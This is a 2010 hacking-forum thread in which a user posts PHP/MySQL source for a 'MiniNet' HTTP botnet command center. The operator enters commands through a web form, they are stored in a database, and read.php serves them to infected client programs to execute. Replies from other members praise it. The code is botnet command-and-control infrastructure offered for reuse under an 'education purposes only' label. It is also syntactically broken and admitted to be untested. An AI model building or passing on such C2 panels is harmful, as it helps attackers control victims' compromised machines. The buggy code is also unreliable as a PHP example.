Thread: [\[php+mysql\] Example PHP Botnet Command Center](#)

Oxycodone - July 26, 2010, 4:15 pm

Alright so im still on vacation so i dont got access to the net that offen so i cant test my MySQL Apps

This should work if not sorry.

Features:

- Command List (You can add / edit it)(Command | Usage)
- Recent Commands (Command | Date)
- AutoPrunes DB each time a new command is set (so 1 command cant be exacuted mutiple times)

So what you want your vb.net app to do is read the command from the .php file named read.php

How to use hte script, edit the config file to your db info.

Open index.php & exacute the command you want. Once done it will direct you to command.php & it should either say "Command has been exacuted" or somthing & if not it should said failed to exacute command ect..

I suggest using Deathaders get between when reading the commands & exacuting them.

Its basic, sorry for any errors like i said its hard for me to test the script .

Index.php:

Index is the main thing, its the only thing that you will see mostly & were you type your commands ect..

Confi.php:

The config file of your datase

Command.php:

Adds the commands & other important info in the db

read.php

Reads the commands, this is waht you want to use when exacuting the files from a app & check for keywords

CODES

Index.php:

PHP Code

<?php

```
require('config.php');
$db = mysql_connect ( $dbhost, $dbuser, $dbpass)or die("Could not connect: ".mysql_error());
mysql_select_db($dbname) or die(mysql_error());
$query = "SELECT " . $dbf2 . "," . $dbf3 . " FROM " . $tab;
$result = mysql_query($query);
```

```

echo '<html>
<body bgcolor="#888888">
<font color="#550000">
<title> MiniNet || InABoxProductions </title>
<center>
Hello, welcome to MiniNet. This web application is a mini online http botnet for public use. It was cre
ated for education purposes only & a tutorial on how to
add data using php, and transfer data from a .exe project / application for a website. <br> All rights r
eserved || InABoxProductions <br> <br> <br>
<table border="1">
<tr>
<td>Commands</td>
<td>Usage</td>
</tr>
<tr>
<td>Command1</td>
<td>Command1 Usage</td>
</tr>
<tr>
<td>Command2</td>
<td>Command2 Usage</td>
</table>
<br> <br>
Command To Exacute:
<form method="post" action="commands.php">
<input type="text" name="command" value="command"> <br>
<input type="submit" value="submit">
</form>
<br> Recent Commands: <br>
<table border="1">
<tr>
<td>Command</td>
<td>Date</td>
<td>'$row[$dbf2];' </td>
<td>'$row[$dbf3];' </td>
</tr>
</table>
</font>
</body>
</html>';
mysql_close($db);
?>
Config.php:
PHP Code
<?php
$dbhost = "";
$dbname = "";
$dbuser = "";
$dbpass = "";
//-----
$dbf1 = ""; // Command Used
$dbf2 = ""; // r-command
$dbf3 = ""; // Date r-command
//-----

```

\$tab = ""; // Table

//-----

\$dat = date("m/d/y");

?>

Command.php:

PHP Code

<?php

require('config.php');

\$gcmd = \$_POST['command'];

\$con = mysql_connect(\$dbhost, \$dbuser, \$dbpass)

if(!\$con) {

die ('Failed to connect to server / host: ' . mysql_error());

}

\$database = mysql_select_db(\$dbname)

if(!\$database) {

die ('Failed to connect to database');

}

\$qry = 'INSERT INTO ' . \$tab . ' (' . \$dbf1 . ',' . \$dbf2 . ',' . \$dbf3) Values (\$gcmd . ',' . \$gcmd . ',' . \$dat

);

\$result=mysql_query(\$qry);

if(\$result) {

echo 'Database Updated!';

}

else

{

echo 'Database Failed to update!';

}

?>

Read.php:

PHP Code

<?php

include('config.php');

\$db = mysql_connect(\$dbhost,\$dbuser,\$dbpass);

mysql_select_db(\$dbname, \$db);

mysql_query("DELETE FROM " . \$tab . " WHERE " . \$dbf1);

mysql_close(\$db);

\$con = mysql_connect(\$dbhost, \$dbuser, \$dbpass)

if(!\$con) {

die ('Failed to connect to server / host: ' . mysql_error());

}

\$database = mysql_select_db(\$dbname)

if(!\$database) {

die ('Failed to connect to database');

}

\$query = "SELECT " . \$dbf1 . " FROM " \$tab;

\$result = mysql_query(\$query);

echo \$row[\$dbf1];

?>

Feel free to mod it & fix it up.

DarkSeven46 - July 26, 2010, 4:16 pm

I see you have posted lots of sick thread lately. +rep.

Oxycodone - July 26, 2010, 4:40 pm

Thank you darkseven, if any issues just ask

GyroErbin0 - July 26, 2010, 10:51 pm

not bad at all good work !

Oxycodone - July 27, 2010, 12:56 am

Anytime, glad i can help FenimiN

Oxycodone - July 27, 2010, 8:56 pm

Just a bump :p

I know alot of people want somthing like this so hopfully i get more replys on it

Sector9 - July 27, 2010, 9:12 pm

Thanks for the example :D I'm thinking about starting to learn PHP

Oxycodone - July 27, 2010, 9:17 pm

I think im missing a else in the code, and mabey some '

so sorry if there are errors

eliskosta - October 30, 2016, 8:41 am

what is r-command ? What it means?

Ninja - October 30, 2016, 10:29 am

And why was this posted in the .NET section?
